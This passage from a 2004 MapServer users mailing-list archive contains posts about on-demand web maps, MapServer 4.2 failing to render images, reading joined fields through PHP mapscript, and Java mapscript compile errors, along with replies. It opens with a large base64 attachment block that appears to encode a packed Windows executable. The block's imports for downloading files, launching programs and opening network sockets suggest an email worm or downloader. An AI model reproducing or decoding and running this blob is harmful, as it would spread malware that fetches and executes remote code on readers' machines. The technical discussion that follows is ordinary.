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 YekEbP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAL11+UxZlSJujqjLE YUwVpGgnNXVBjK6Ec8NzFpphHG0TiXe+sHhHcg64aklkLkmlWwdXfAddJS2vMT1mdkS8b3sI ngCztbAnf1ZTJo1HKIKyfmV8i1I0VURDgZtjHV5pVyQFq7eUu1w9AqAVerJaEXeoP6qFKrIi K3AphSk8DllFJ4BKXbiZubiirZi/KRkKrhuMJ7J7WIZzhF8mtqq6CrVNdIennDNikrd5mS1a L6xvohUvPEJrIFWAxWQllDCFnB5NnmVviFe+WzCnTQZgb0dEpUCFOZUFQooohsaDdoedjik7 lIRPLS2DEYCMqR+TXq2uuEoMnb1mn6AqrHGBPgY7GnIyWTgTnqrCF5anVX0LYUy6MqqKI16k XQFkMzNAEFBAVGRZTTAkJjlRbillfn9rdIZOIDdFpVYze4FvOrJ0Z25kGjOhoG1nKjFLDqK5 X4zDGC/HtaE/IQR0GWMIfRQnDJ4sVmdTIphhJUppOHx4TyJJGEWGLIGjw70zHKC4uFQIXQRQ vJ/HiZa4GnELv35zLBSMXX1SJ0xMBFllNQdIir+1t2q8MzmjJ5J1uDBwuyMnQYgpdnBqw5CC eUU6Sk8sT6EkAhuVZZwkmmOn ----------gsdzzthmeegylgzhuyjg-- From jeramie at Idghelp.us Wed Jun 9 08:29:36 2004 From: jeramie at Idghelp.us (Jeramie Gatchell) Date: Wed, 9 Jun 2004 08:29:36 -0700 Subject: [Mapserver-users] web mapping project Message-ID: <200406091530.i59FU4FS026167@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0006_01C44DFB.E633EFF0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi everyone, I've been going through the archive looking for this question being already answered and haven't found it yet. But, I do apologize if it already has. I have a project where I need to generate on-demand maps that show a marker of some type at various latitudes and longitudes superimposed over that area's local street map (major streets/highways only). Is this something that mapserver can handle? Also, how do you get the mapping data? Does that come with mapserver or is it available online for free anywhere or how does that work? Thanks a ton for any help, I really appreciate it. Jeramie ------=_NextPart_000_0006_01C44DFB.E633EFF0 Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable

Hi everyone,

 

I’ve been going through the archive looking for = this question being already answered and haven’t found it yet.  = But, I do apologize if it already has.

 

I have a project where I need to generate on-demand = maps that show a marker of some type at various latitudes and longitudes = superimposed over that area’s local street map (major streets/highways = only).

 

Is this something that mapserver can handle?  = Also, how do you get the mapping data? Does that come with mapserver or is it = available online for free anywhere or how does that = work?

 

Thanks a ton for any help, I really appreciate = it.

 

Jeramie

 

------=_NextPart_000_0006_01C44DFB.E633EFF0-- From berend.veldkamp at aris.nl Wed Jun 9 08:50:34 2004 From: berend.veldkamp at aris.nl (Berend Veldkamp) Date: Wed, 09 Jun 2004 17:50:34 +0200 Subject: [Mapserver-users] Mapserver doesn't create image, no crash Message-ID: <40C731CA.8030603@aris.nl> Hi, I'm in the process of upgrading an old mapserver CGI (3.4) application to 4.2. I have most things working now, but it seems that now and then mapserver doesn't create a map image (there's nothing in the tmp dir). Instead, I get the following output: MapServer Message It seems it depends on which layers I have turned on, and which area I'm zoomed in to. However I can't find a clear pattern, sometimes I have to turn on a particular layer to make it work, other times I have to turn off a layer. When I turn on logging in the WEB object, I get this: Wed Jun 9 17:37:32 2004,21917,127.0.0.1,vl,0,172329.357920 438926.688000 196177.642080 453219.312000,0.000000 0.000000,route bkgrnd nummers roads landuse ,normal execution Wed Jun 9 17:37:42 2004,21928,127.0.0.1,vl,0,172329.357920 438926.688000 196177.642080 453219.312000,0.000000 0.000000,route bkgrnd nummers roads toerinfo landuse , On the second line, 'toerinfo' is turned on, and I don't get the 'normal execution' message. I have no idea where to start looking, so any hints are appreciated. I already tried (to no avail): - Different ouput format (jpeg, png, png 24 bit) - Upgrading GD to 2.0.26 - Removing all antialiasing, backgroundcolors, pixmap symbols etc, reducing the number of colors from >1000 to 15 - Tried MS 4.0 and 4.2 Thanks in advance, Berend -- From joukje.de.haan at aris.nl Wed Jun 9 08:59:47 2004 From: joukje.de.haan at aris.nl (Joukje de Haan) Date: Wed, 09 Jun 2004 17:59:47 +0200 Subject: [Mapserver-users] access joined fields with php Message-ID: <40C733F3.9030702@aris.nl> Hi, I have a layer in my mapfile with a join to another table. When I query a shapeobject of this layer, I can only get the shapefiles 'own' fieldvalues f.e. $shapeobj->values['ID'] Does anyone know how to get access to the fieldvalues in the joined table? Or is there a possibility to get to the join object of the layer as defined in the mapfile? Best Regards, Joukje de Haan From gabrielhunterd at yahoo.com Wed Jun 9 09:27:09 2004 From: gabrielhunterd at yahoo.com (gabriel hunter) Date: Wed, 9 Jun 2004 09:27:09 -0700 (PDT) Subject: [Mapserver-users] java mapscript getPoints is already defined error Message-ID: <20040609162709.15211.qmail@web60002.mail.yahoo.com> --0-324196658-1086798429=:14229 Content-Type: text/plain; charset=us-ascii Hi all, I'm new to mapserver, I tried to compile java mapscript but I can't go any further without some help. I followed the JavaMapScriptHowTo, but executing javac edu/umn/gis/mapscript/*.java without patching, gives an error about functions already defined: setExtension and setMimetype in file outputFormatObj.java getPoints in file symbolObj.java and an "attempting to use incompatible return type" on function clone in file mapObj.java. when I apply the patch I can see that change are made to files outpuFormatObj.java and mapObj.java, but no changes are made to symbolObj.java so I compiled again and get: symbolObj.java:207: getPoints() is already defined I'm using mapserver 4.2, gdal 1.2.0b, gd 2.0.20, swig 1.3.21 on slackware 9.1 What can I do? Thanks in advance. Gabriel Hunter --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-324196658-1086798429=:14229 Content-Type: text/html; charset=us-ascii
Hi all,
 
I'm new to mapserver, I tried to compile java mapscript but I can't go any further without some help.
 
I followed the JavaMapScriptHowTo, but executing
 
javac edu/umn/gis/mapscript/*.java
without patching, gives an error about functions already defined:
 
setExtension and setMimetype in file outputFormatObj.java
getPoints in file symbolObj.java
 
and an "attempting to use incompatible return type" on function clone in file mapObj.java.
 
when I apply the patch I can see that change are made to files outpuFormatObj.java and mapObj.java, but no changes are made to symbolObj.java
 
so I compiled again and get:
 
symbolObj.java:207: getPoints() is already defined
 
I'm using mapserver 4.2, gdal 1.2.0b, gd 2.0.20, swig 1.3.21 on slackware 9.1
 
What can I do?
 
Thanks in advance.
 
Gabriel Hunter


Do you Yahoo!?
Friends. Fun. Try the all-new Yahoo! Messenger --0-324196658-1086798429=:14229-- From edspremolla at Antel.com.uy Wed Jun 9 09:28:17 2004 From: edspremolla at Antel.com.uy (Eduardo Spremolla) Date: Wed, 09 Jun 2004 13:28:17 -0300 Subject: [Mapserver-users] web mapping project In-Reply-To: <200406091530.i59FU4FS026167@lists.gis.umn.edu> References: <200406091530.i59FU4FS026167@lists.gis.umn.edu> Message-ID: <1086798496.4941.5.camel@fly.in.iantel.com.uy> El mi??, 09-06-2004 a las 12:29, Jeramie Gatchell escribi??: > I have a project where I need to generate on-demand maps that show a > marker of some type at various latitudes and longitudes superimposed > over that area???s local street map (major streets/highways only). > > > > Is this something that mapserver can handle? This is what mapserver is for. > Also, how do you get the mapping data? Does that come with mapserver > or is it available online for free anywhere or how does that work? It depends on your area, there are many free data sources on the net, mainly for USA. In other places you may need get it from a clearing house that charges for it. > > > Thanks a ton for any help, I really appreciate it. > You are welcome. > > > Jeramie > > -- Eduardo Spremolla Antel I+D Uruguay From EZS at DeStraat.NL Wed Jun 9 10:03:36 2004 From: EZS at DeStraat.NL (Emil Zegers) Date: Wed, 09 Jun 2004 19:03:36 +0200 Subject: [Mapserver-users] access joined fields with php Message-ID: If it is similiar to the CGI type of request for getting the join values it should be something like: $shapeobj->values['myjoin_ID'] Where 'myjoin' is the name of the join defined in the map file. Best regards, Emil >>> Joukje de Haan 06/09/04 05:59pm >>> Hi, I have a layer in my mapfile with a join to another table. When I query a shapeobject of this layer, I can only get the shapefiles 'own' fieldvalues f.e. $shapeobj->values['ID'] Does anyone know how to get access to the fieldvalues in the joined table? Or is there a possibility to get to the join object of the layer as defined in the mapfile? Best Regards, Joukje de Haan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________ VChecked ______________________________________________________ This message has been checked for all known viruses ______________________________________________________ From marcosvarela at vtr.net Wed Jun 9 10:17:07 2004 From: marcosvarela at vtr.net (marcosvarela at vtr.net) Date: Wed, 9 Jun 2004 13:17:07 -0400 Subject: [Mapserver-users] Problems compiling mapserv Message-ID: <4090B18E00081EE0@hudson.vtr.net> Hi, I write from Chile, My english is bad, i'm very sorry for that I compiling Mapserver in REDHAT 9. When execute mapserv send this message: 